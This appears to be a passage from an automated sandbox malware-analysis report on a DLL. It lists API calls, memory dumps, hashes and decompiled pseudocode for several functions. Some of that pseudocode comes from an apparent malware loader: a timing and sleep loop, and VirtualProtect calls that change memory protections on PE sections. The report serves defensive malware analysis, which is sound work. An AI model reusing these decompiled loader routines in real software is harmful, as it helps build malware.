                  • CloseHandle.KERNEL32(?,?,?,4D283A53,?,?), ref: 02C525B8
                    • Part of subcall function 02C527A0: GetVersionExA.KERNEL32(?,00000042,00000000), ref: 02C527C4
                    • Part of subcall function 02C527A0: wsprintfA.USER32 ref: 02C52828
                    • Part of subcall function 02C533DC: RtlAllocateHeap.NTDLL(00000000,00000000,02C562F6), ref: 02C533E8
                  • memset.NTDLL ref: 02C52612
                  • RtlInitializeCriticalSection.NTDLL(03AD95C0), ref: 02C52623
                    • Part of subcall function 02C55C31: memset.NTDLL ref: 02C55C4B
                    • Part of subcall function 02C55C31: lstrlenW.KERNEL32(00000000,00410025,00000005,?,00000000), ref: 02C55C91
                    • Part of subcall function 02C55C31: StrCmpNIW.SHLWAPI(00000000,?,00000000), ref: 02C55C9C
                  • RtlAllocateHeap.NTDLL(00000000,00000043,00000060), ref: 02C5264E
                  • wsprintfA.USER32 ref: 02C5267E
                  Memory Dump Source
                  • Source File: 00000000.00000002.777076559.0000000002C51000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C50000, based on PE: true
                  • Associated: 00000000.00000002.777064531.0000000002C50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777105629.0000000002C59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777118792.0000000002C5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777134029.0000000002C5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2c50000_loaddll32.jbxd
                  Similarity
                  • API ID: AllocateHandleHeapmemsetwsprintf$CloseCriticalInitializeModuleSectionVersionlstrlen
                  • String ID:
                  • API String ID: 1825273115-0
                  • Opcode ID: 1fd71647ad7ef907b72d9dd63807bc42e8d55b2fb3dd685507dd332c3ced7826
                  • Instruction ID: de51bdc96c7099e7d6c0ca02aa25bca593f805e51ec4ec80986cb16955f238e2
                  • Opcode Fuzzy Hash: 1fd71647ad7ef907b72d9dd63807bc42e8d55b2fb3dd685507dd332c3ced7826
                  • Instruction Fuzzy Hash: 4751F471E80334AFDB219BA1DC95B5F77E8AB48704F500A55ED09E7140DB70DAC48F9A
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB5AD2D Relevance: 7.6, APIs: 5, Instructions: 87COMMONLIBRARYCODE
                  Download Yara Rule
                  APIs
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: dllmain_raw$dllmain_crt_dispatch
                  • String ID:
                  • API String ID: 3136044242-0
                  • Opcode ID: fd36cfc08fd6164e7690f8723730dffb6a65412fa3ed831b19ccfa652307b594
                  • Instruction ID: d05289e263e64b2fff01ed264b5cd98cc65dbe574c5d6f3034f21fa58fbb12bf
                  • Opcode Fuzzy Hash: fd36cfc08fd6164e7690f8723730dffb6a65412fa3ed831b19ccfa652307b594
                  • Instruction Fuzzy Hash: 8021A172E412A8AFDB215E55CC44ABF3E79EB85A98F90411AF8147BA50D7308D218FF1
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB42920 Relevance: 7.5, APIs: 5, Instructions: 27COMMON
                  Download Yara Rule
                  APIs
                  • CreateDialogParamA.USER32(6CB81FB8,00000001,00000000,6CB41100,00000000), ref: 6CB42938
                  • DestroyWindow.USER32(0004042E,?,6CB58CC5,6CB40000,?,6CB81FE8,6CB81FB8), ref: 6CB42944
                  • KiUserCallbackDispatcher.NTDLL(00020426,?,6CB58CC5,6CB40000,?,6CB81FE8,6CB81FB8), ref: 6CB42951
                  • std::ios_base::good.LIBCPMTD ref: 6CB4295C
                  • ExitProcess.KERNEL32 ref: 6CB4296A
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: CallbackCreateDestroyDialogDispatcherExitParamProcessUserWindowstd::ios_base::good
                  • String ID:
                  • API String ID: 4201430139-0
                  • Opcode ID: 3eabb820837f4561d25ae6adb63b7989091bcb18b1f892b00abd945c9570675e
                  • Instruction ID: ae9e04ed8095d67fb8fe4f513924a64d49b2e9d9a080a3c4482b99379538b2f5
                  • Opcode Fuzzy Hash: 3eabb820837f4561d25ae6adb63b7989091bcb18b1f892b00abd945c9570675e
                  • Instruction Fuzzy Hash: A6F01C79356250ABDE04DBA6D458F763779B78B206F444004FA1587680CB71E8009F71
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02C54358 Relevance: 6.1, APIs: 4, Instructions: 104memoryCOMMON
                  Download Yara Rule
                  APIs
                  • SysAllocString.OLEAUT32(80000002), ref: 02C543B5
                  • SysAllocString.OLEAUT32(02C54D42), ref: 02C543F9
                  • SysFreeString.OLEAUT32(00000000), ref: 02C5440D
                  • SysFreeString.OLEAUT32(00000000), ref: 02C5441B
                  Memory Dump Source
                  • Source File: 00000000.00000002.777076559.0000000002C51000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C50000, based on PE: true
                  • Associated: 00000000.00000002.777064531.0000000002C50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777105629.0000000002C59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777118792.0000000002C5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777134029.0000000002C5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2c50000_loaddll32.jbxd
                  Similarity
                  • API ID: String$AllocFree
                  • String ID:
                  • API String ID: 344208780-0
                  • Opcode ID: b4fa19f8e5e0a9410fdda7c399ca0494bbbe503bd9efbf13759afa5a64758a84
                  • Instruction ID: f4caa77e111495112075bdb0b2058f16e49a29431a994f779d377ee5679fb848
                  • Opcode Fuzzy Hash: b4fa19f8e5e0a9410fdda7c399ca0494bbbe503bd9efbf13759afa5a64758a84
                  • Instruction Fuzzy Hash: 95310A76940219EFCB14DF98D8C49AE7BB9FF48305B10892AF906A7250D730DAC1CBA5
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB63284 Relevance: 6.1, APIs: 4, Instructions: 74COMMON
                  Download Yara Rule
                  APIs
                  • GetEnvironmentStringsW.KERNEL32 ref: 6CB6328C
                    • Part of subcall function 6CB63196: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,6CB61581,?,00000000,-00000008), ref: 6CB63242
                  • FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6CB632C4
                  • FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6CB632E4
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: EnvironmentStrings$Free$ByteCharMultiWide
                  • String ID:
                  • API String ID: 158306478-0
                  • Opcode ID: fa4edef48673ea1ba69b3362f6d6e25c48d0ec7b53bf7517e643b3f9a89c6120
                  • Instruction ID: b667f33372e436ca10f805a047db4ebd4004548c5618db8248c6ab700d660619
                  • Opcode Fuzzy Hash: fa4edef48673ea1ba69b3362f6d6e25c48d0ec7b53bf7517e643b3f9a89c6120
                  • Instruction Fuzzy Hash: D711ADB26055A97EAA012BB7CC8DCAF796CDF872AC7480125F900D3E40EF20DD0885B2
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02C5213E Relevance: 6.0, APIs: 4, Instructions: 44sleepthreadtimeCOMMON
                  Download Yara Rule
                  C-Code - Quality: 65%
                  			E02C5213E(void* __ecx, intOrPtr _a4) {
				struct _FILETIME _v12;
				int _t13;
				signed int _t16;
				void* _t17;
				signed int _t18;
				unsigned int _t22;
				void* _t30;
				signed int _t34;

				_v12.dwLowDateTime = _v12.dwLowDateTime & 0x00000000;
				asm("stosd");
				do {
					_t13 = SwitchToThread();
					GetSystemTimeAsFileTime( &_v12);
					_t22 = _v12.dwHighDateTime;
					_t16 = (_t22 << 0x00000020 | _v12.dwLowDateTime) >> 5;
					_push(0);
					_push(0x13);
					_push(_t22 >> 5);
					_push(_t16);
					L02C58436();
					_t34 = _t16 + _t13;
					_t17 = E02C56269(_a4, _t34);
					_t30 = _t17;
					_t18 = 3;
					Sleep(_t18 << (_t34 & 0x00000007)); // executed
				} while (_t30 == 1);
				return _t30;
			}











                  0x02c52143
                  0x02c5214e
                  0x02c5214f
                  0x02c5214f
                  0x02c5215b
                  0x02c52164
                  0x02c52167
                  0x02c5216b
                  0x02c5216d
                  0x02c52172
                  0x02c52173
                  0x02c52174
                  0x02c5217e
                  0x02c52181
                  0x02c52188
                  0x02c5218c
                  0x02c52193
                  0x02c52199
                  0x02c521a3

                  APIs
                  • SwitchToThread.KERNEL32(?,00000001,?,?,?,02C55044,?,?), ref: 02C5214F
                  • GetSystemTimeAsFileTime.KERNEL32(00000000,?,00000001,?,?,?,02C55044,?,?), ref: 02C5215B
                  • _aullrem.NTDLL(00000000,?,00000013,00000000), ref: 02C52174
                    • Part of subcall function 02C56269: memcpy.NTDLL(00000000,00000002,?,?,?,00000000,00000000), ref: 02C56308
                  • Sleep.KERNELBASE(00000003,00000000,?,00000001,?,?,?,02C55044,?,?), ref: 02C52193
                  Memory Dump Source
                  • Source File: 00000000.00000002.777076559.0000000002C51000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C50000, based on PE: true
                  • Associated: 00000000.00000002.777064531.0000000002C50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777105629.0000000002C59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777118792.0000000002C5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777134029.0000000002C5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2c50000_loaddll32.jbxd
                  Similarity
                  • API ID: Time$FileSleepSwitchSystemThread_aullremmemcpy
                  • String ID:
                  • API String ID: 1610602887-0
                  • Opcode ID: 7d840116c24c48b35101ed739e914de5737dd8f90f74a69be50805ee3ada7ed9
                  • Instruction ID: 9ce1e240c765c4c4810a1f2cd8854f4b3a96c8ad1a3c09a3404f30562a11e836
                  • Opcode Fuzzy Hash: 7d840116c24c48b35101ed739e914de5737dd8f90f74a69be50805ee3ada7ed9
                  • Instruction Fuzzy Hash: 80F0A477B40214BBDB149AA4CC59BDF76B9DBC4361F100A64EA02E7340EAB4DA818AD4
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02BF1FF5 Relevance: 6.0, APIs: 4, Instructions: 30threadCOMMON
                  Download Yara Rule
                  C-Code - Quality: 87%
                  			E02BF1FF5(void* __ecx, char _a4) {
				long _t3;
				int _t4;
				int _t9;
				void* _t13;

				_t13 = GetCurrentThread();
				_t3 = SetThreadAffinityMask(_t13, 1); // executed
				if(_t3 != 0) {
					SetThreadPriority(_t13, 0xffffffff); // executed
				}
				_t4 = E02BF1226(_a4); // executed
				_t9 = _t4;
				if(_t9 == 0) {
					SetThreadPriority(_t13, _t4);
				}
				asm("lock xadd [eax], ecx");
				return _t9;
			}







                  0x02bf1ffe
                  0x02bf2003
                  0x02bf2011
                  0x02bf2016
                  0x02bf2016
                  0x02bf201c
                  0x02bf2021
                  0x02bf2025
                  0x02bf2029
                  0x02bf2029
                  0x02bf2033
                  0x02bf203c

                  APIs
                  • GetCurrentThread.KERNEL32 ref: 02BF1FF8
                  • SetThreadAffinityMask.KERNEL32(00000000,00000001), ref: 02BF2003
                  • SetThreadPriority.KERNELBASE(00000000,000000FF), ref: 02BF2016
                  • SetThreadPriority.KERNEL32(00000000,00000000,?), ref: 02BF2029
                  Memory Dump Source
                  • Source File: 00000000.00000002.777006909.0000000002BF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: true
                  • Associated: 00000000.00000002.777006909.0000000002BF5000.00000040.00001000.00020000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2bf0000_loaddll32.jbxd
                  Similarity
                  • API ID: Thread$Priority$AffinityCurrentMask
                  • String ID:
                  • API String ID: 1452675757-0
                  • Opcode ID: bb5fed200ece347d8df080948ad4742a95ef6f6f612c0d22ce6eab018cd532fb
                  • Instruction ID: 6292129133fa7d20c8f94eacba7a264321c87c14e654ed2416cc0edbdd845b47
                  • Opcode Fuzzy Hash: bb5fed200ece347d8df080948ad4742a95ef6f6f612c0d22ce6eab018cd532fb
                  • Instruction Fuzzy Hash: 7AE022326012102BA2A22A3C5C84F6B6B9CEF8537030106A6FB20D36C0CB508D1989A4
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB5561F Relevance: 5.8, APIs: 2, Strings: 1, Instructions: 541COMMON
                  Download Yara Rule
                  APIs
                  Strings
                  • koStMeQaxFYJtQtWyKISSodO, xrefs: 6CB5603C
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: task
                  • String ID: koStMeQaxFYJtQtWyKISSodO
                  • API String ID: 1384045349-1538454215
                  • Opcode ID: fe89eb1f9eb07c06ac818859ab48b1e678e04de3f29c101d9ab5bc52e1b4aa15
                  • Instruction ID: 3d871e9d957193e7d6b0e220dff747d2210492a7322ac5641d7145ace14fd6b5
                  • Opcode Fuzzy Hash: fe89eb1f9eb07c06ac818859ab48b1e678e04de3f29c101d9ab5bc52e1b4aa15
                  • Instruction Fuzzy Hash: 484229B090A2A9CBDF20CF04CC84B9DB7B5BB4130AF9441C9D1186BA84D7B59ADDCF59
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB4F945 Relevance: 5.8, APIs: 2, Strings: 1, Instructions: 536COMMON
                  Download Yara Rule
                  APIs
                  • PathFileExistsW.KERNELBASE(GpyAtREiGcDXEQPbxXYtChTog), ref: 6CB4FC0B
                  • task.LIBCPMTD ref: 6CB50399
                  Strings
                  • GpyAtREiGcDXEQPbxXYtChTog, xrefs: 6CB4FC06
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: ExistsFilePathtask
                  • String ID: GpyAtREiGcDXEQPbxXYtChTog
                  • API String ID: 2817137138-4051016089
                  • Opcode ID: 8de699a6f4db87985ea64faa01270a432ab12b0f0c219892e935a4230eb17d7f
                  • Instruction ID: 7e1d2e28cd9f2fc69d9ca6d02c65553bbbe2bf5c68102bc8910e977caa4250f2
                  • Opcode Fuzzy Hash: 8de699a6f4db87985ea64faa01270a432ab12b0f0c219892e935a4230eb17d7f
                  • Instruction Fuzzy Hash: 49426E7090A2A9CBDF24CF44DC54BDDB7B1BB42309F5481C9D0192BA88DBB59AC8DF52
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB54A95 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 91COMMON
                  Download Yara Rule
                  APIs
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: task
                  • String ID: R
                  • API String ID: 1384045349-3347607022
                  • Opcode ID: 2b5db9a2c15cf595b5c1ff2584e5ebdd18af1604ec0134dd348f9f96bbdc801c
                  • Instruction ID: 34540dfa65d51ada87591e0c624cf1ed2ae4a68f7d3cf3eb38da1762bf5bcc08
                  • Opcode Fuzzy Hash: 2b5db9a2c15cf595b5c1ff2584e5ebdd18af1604ec0134dd348f9f96bbdc801c
                  • Instruction Fuzzy Hash: 4C415975D055A88BCB24CFA4CC90BEEB779AF45309F5480D9D10A67A84DB302E98DF51
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB58DCE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON
                  Download Yara Rule
                  APIs
                  Strings
                  • OcTFHDfxRAQzoqzaRWrEDprGjuFfj, xrefs: 6CB58E80
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: task
                  • String ID: OcTFHDfxRAQzoqzaRWrEDprGjuFfj
                  • API String ID: 1384045349-1334066115
                  • Opcode ID: 0651252d68f320fd486ed8ed47fe7bd0ce709498804b2efea767ee4a295c6e90
                  • Instruction ID: 48308b76aa32e707dc722dfbd01fb3edc6e69b2e3024b278b35c19de1ccbb708
                  • Opcode Fuzzy Hash: 0651252d68f320fd486ed8ed47fe7bd0ce709498804b2efea767ee4a295c6e90
                  • Instruction Fuzzy Hash: FE1149B1E110548BCF18DF54CC94FEEB3B9BB59304F048599D109A7A44EB306E48DF25
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02C55251 Relevance: 4.6, APIs: 3, Instructions: 94memoryCOMMON
                  Download Yara Rule
                  C-Code - Quality: 100%
                  			E02C55251(void* __edx) {
				void* _v8;
				int _v12;
				WCHAR* _v16;
				void* __edi;
				void* __esi;
				void* _t23;
				intOrPtr _t24;
				void* _t26;
				intOrPtr _t32;
				intOrPtr _t35;
				intOrPtr _t38;
				intOrPtr _t42;
				void* _t45;
				void* _t50;
				void* _t52;

				_t50 = __edx;
				_v12 = 0;
				_t23 = E02C56ADC(0,  &_v8); // executed
				if(_t23 != 0) {
					_v8 = 0;
				}
				_t24 =  *0x2c5a348; // 0xe7d5a8
				_t4 = _t24 + 0x2c5bc70; // 0x3ad9218
				_t5 = _t24 + 0x2c5bb60; // 0x4f0053
				_t26 = E02C533F1( &_v16, _v8, _t5, _t4); // executed
				_t45 = _t26;
				if(_t45 == 0) {
					StrToIntExW(_v16, 0,  &_v12);
					_t45 = 8;
					if(_v12 < _t45) {
						_t45 = 1;
						__eflags = 1;
					} else {
						_t32 =  *0x2c5a348; // 0xe7d5a8
						_t11 = _t32 + 0x2c5bcc8; // 0x3ad9270
						_t48 = _t11;
						_t12 = _t32 + 0x2c5bb60; // 0x4f0053
						_t52 = E02C55DE4(_t11, _t12, _t11);
						_t59 = _t52;
						if(_t52 != 0) {
							_t35 =  *0x2c5a348; // 0xe7d5a8
							_t13 = _t35 + 0x2c5bcf0; // 0x30314549
							if(E02C55157(_t48, _t50, _t59, _v8, _t52, _t13, 0x14) == 0) {
								_t61 =  *0x2c5a2fc - 6;
								if( *0x2c5a2fc <= 6) {
									_t42 =  *0x2c5a348; // 0xe7d5a8
									_t15 = _t42 + 0x2c5bcd2; // 0x52384549
									E02C55157(_t48, _t50, _t61, _v8, _t52, _t15, 0x13);
								}
							}
							_t38 =  *0x2c5a348; // 0xe7d5a8
							_t17 = _t38 + 0x2c5bbb8; // 0x3ad9160
							_t18 = _t38 + 0x2c5bc1c; // 0x680043
							_t45 = E02C55B0E(_v8, 0x80000001, _t52, _t18, _t17);
							HeapFree( *0x2c5a2d8, 0, _t52);
						}
					}
					HeapFree( *0x2c5a2d8, 0, _v16);
				}
				_t54 = _v8;
				if(_v8 != 0) {
					E02C57220(_t54);
				}
				return _t45;
			}


















                  0x02c55251
                  0x02c55261
                  0x02c55264
                  0x02c5526b
                  0x02c5526d
                  0x02c5526d
                  0x02c55270
                  0x02c55275
                  0x02c5527c
                  0x02c55289
                  0x02c5528e
                  0x02c55292
                  0x02c552a0
                  0x02c552ae
                  0x02c552b2
                  0x02c55343
                  0x02c55343
                  0x02c552b8
                  0x02c552b8
                  0x02c552bd
                  0x02c552bd
                  0x02c552c4
                  0x02c552d0
                  0x02c552d2
                  0x02c552d4
                  0x02c552d6
                  0x02c552dd
                  0x02c552ef
                  0x02c552f1
                  0x02c552f8
                  0x02c552fa
                  0x02c55301
                  0x02c5530c
                  0x02c5530c
                  0x02c552f8
                  0x02c55311
                  0x02c55316
                  0x02c5531d
                  0x02c5533b
                  0x02c5533d
                  0x02c5533d
                  0x02c552d4
                  0x02c5534f
                  0x02c5534f
                  0x02c55351
                  0x02c55356
                  0x02c55358
                  0x02c55358
                  0x02c55363

                  APIs
                  • StrToIntExW.SHLWAPI(?,00000000,?,?,004F0053,03AD9218,00000000,?,74D0F710,00000000,74D0F730), ref: 02C552A0
                  • HeapFree.KERNEL32(00000000,00000000,?,80000001,00000000,00680043,03AD9160,?,00000000,30314549,00000014,004F0053,03AD9270), ref: 02C5533D
                  • HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,02C568B6), ref: 02C5534F
                  Memory Dump Source
                  • Source File: 00000000.00000002.777076559.0000000002C51000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C50000, based on PE: true
                  • Associated: 00000000.00000002.777064531.0000000002C50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777105629.0000000002C59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777118792.0000000002C5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777134029.0000000002C5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2c50000_loaddll32.jbxd
                  Similarity
                  • API ID: FreeHeap
                  • String ID:
                  • API String ID: 3298025750-0
                  • Opcode ID: b34126acf97254f11236e4235fc9d82b4788c57ed15e42752e27bcb0d4bea683
                  • Instruction ID: bb4fbb78f8936ff8ed6422fb4984c9f9f1e7c18138e22196600bd500fb15f2f6
                  • Opcode Fuzzy Hash: b34126acf97254f11236e4235fc9d82b4788c57ed15e42752e27bcb0d4bea683
                  • Instruction Fuzzy Hash: F631AF31900238EFDB10DB91DC89EAE3FB9EB44748F550255EA08A7120D770EED4DB58
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02BF170E Relevance: 4.6, APIs: 3, Instructions: 68memoryCOMMON
                  Download Yara Rule
                  C-Code - Quality: 87%
                  			E02BF170E(void* __eax, void* _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				long _v20;
				int _t42;
				long _t53;
				intOrPtr _t56;
				void* _t57;
				signed int _t59;

				_v12 = _v12 & 0x00000000;
				_t56 =  *0x2bf41c0;
				_t57 = ( *(__eax + 0x14) & 0x0000ffff) + __eax + 0x18;
				_v16 =  *(__eax + 6) & 0x0000ffff;
				VirtualProtect(_a4,  *(__eax + 0x54), _t56 - 0x43175abf,  &_v20); // executed
				_v8 = _v8 & 0x00000000;
				if(_v16 <= 0) {
					L12:
					return _v12;
				} else {
					goto L1;
				}
				while(1) {
					L1:
					_t59 = _v12;
					if(_t59 != 0) {
						goto L12;
					}
					asm("bt [esi+0x24], eax");
					if(_t59 >= 0) {
						asm("bt [esi+0x24], eax");
						if(__eflags >= 0) {
							L8:
							_t53 = _t56 - 0x43175abf;
							L9:
							_t42 = VirtualProtect( *((intOrPtr*)(_t57 + 0xc)) + _a4,  *(_t57 + 8), _t53,  &_v20); // executed
							if(_t42 == 0) {
								_v12 = GetLastError();
							}
							_t57 = _t57 + (_t56 - 0x3175ac2) * 0x28;
							_v8 = _v8 + 1;
							if(_v8 < _v16) {
								continue;
							} else {
								goto L12;
							}
						}
						asm("bt [esi+0x24], eax");
						_t53 = _t56 - 0x43175ac1;
						if(__eflags >= 0) {
							goto L9;
						}
						goto L8;
					}
					asm("bt [esi+0x24], eax");
					if(_t59 >= 0) {
						_t53 = _t56 - 0x43175aa3;
					} else {
						_t53 = _t56 - 0x43175a83;
					}
					goto L9;
				}
				goto L12;
			}












                  0x02bf1718
                  0x02bf1725
                  0x02bf172b
                  0x02bf1737
                  0x02bf1747
                  0x02bf1749
                  0x02bf1751
                  0x02bf17e5
                  0x02bf17ec
                  0x00000000
                  0x00000000
                  0x00000000
                  0x02bf1757
                  0x02bf1757
                  0x02bf1757
                  0x02bf175b
                  0x00000000
                  0x00000000
                  0x02bf1767
                  0x02bf176b
                  0x02bf178f
                  0x02bf1793
                  0x02bf17a7
                  0x02bf17a7
                  0x02bf17ad
                  0x02bf17bc
                  0x02bf17c0
                  0x02bf17c8
                  0x02bf17c8
                  0x02bf17d4
                  0x02bf17d6
                  0x02bf17df
                  0x00000000
                  0x00000000
                  0x00000000
                  0x00000000
                  0x02bf17df
                  0x02bf179b
                  0x02bf179f
                  0x02bf17a5
                  0x00000000
                  0x00000000
                  0x00000000
                  0x02bf17a5
                  0x02bf1773
                  0x02bf1777
                  0x02bf1781
                  0x02bf1779
                  0x02bf1779
                  0x02bf1779
                  0x00000000
                  0x02bf1777
                  0x00000000

                  APIs
                  • VirtualProtect.KERNELBASE(00000000,?,?,?,?,?,00000000), ref: 02BF1747
                  • VirtualProtect.KERNELBASE(00000000,?,?,?), ref: 02BF17BC
                  • GetLastError.KERNEL32 ref: 02BF17C2
                  Memory Dump Source
                  • Source File: 00000000.00000002.777006909.0000000002BF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: true
